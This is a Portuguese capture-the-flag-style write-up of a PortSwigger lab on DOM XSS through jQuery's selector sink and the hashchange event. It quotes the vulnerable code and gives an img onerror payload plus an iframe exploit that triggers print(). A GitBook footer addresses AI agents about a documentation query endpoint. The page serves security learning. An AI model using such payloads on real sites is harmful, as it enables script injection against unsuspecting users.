> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/dom-xss-with-jquery-hashchange-event.md).

# XSS DOM com jQuery e hashchange

### DOM XSS no sink de seletor do jQuery usando um evento hashchange

Este laboratório contém uma vulnerabilidade de XSS do lado do cliente na página inicial. O código usa o `$()` a função seletora do jQuery para direcionar automaticamente um artigo cujo título foi passado via `location.hash`. O objetivo do laboratório é obter um exploit que, quando um visitante o abre, chama `print()` em seu navegador.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* A função recupera o fragmento da URL (`window.location.hash`), remove o `#` por `slice(1)` e o decodifica com `decodeURIComponent`.
* Esse texto é então concatenado diretamente em um seletor jQuery `:contains(...)` . Como não há escape, conteúdo especialmente construído pode quebrar a sintaxe e injetar HTML/JS por meio de vetores como `onerror` atributos.
* O código só aciona a ação quando o hash muda (`hashchange`), então um simples link inicial sem hash não acionará nada até que o fragmento seja alterado do lado do cliente.

<figure><img src="/files/8fa54f0996b34281babc15e15029cb84a298830b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/877fcc7d59712ad8a9cc199d379193cb8c3fabb4" alt=""><figcaption></figcaption></figure>

* Aproveitamos o fato de que a modificação de `#` aciona o evento. Portanto, o exploit deve forçar o navegador da vítima a carregar uma URL com um fragmento contendo o payload.
* Um método comum é usar um `<iframe>` que aponte para a página-alvo, então, durante `onload`, modificar dinamicamente seu `src` para adicionar o fragmento malicioso (o que causará `hashchange` e a execução do seletor vulnerável).
* O payload injetado deve fazer com que `print()` o código seja executado no contexto da vítima.

Injeção básica para causar um erro de imagem (teste):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/eb77ded103d539760f70513719b54b370910f3c3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c6c851b9b3e81968c6801926f8edb15a3766d167" alt=""><figcaption></figcaption></figure>

* Exploit via iframe — primeira versão (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Exploit final para `print()` (versão adaptada):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/03417c5224399fb497195b8982f3bd68f7eeb70a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
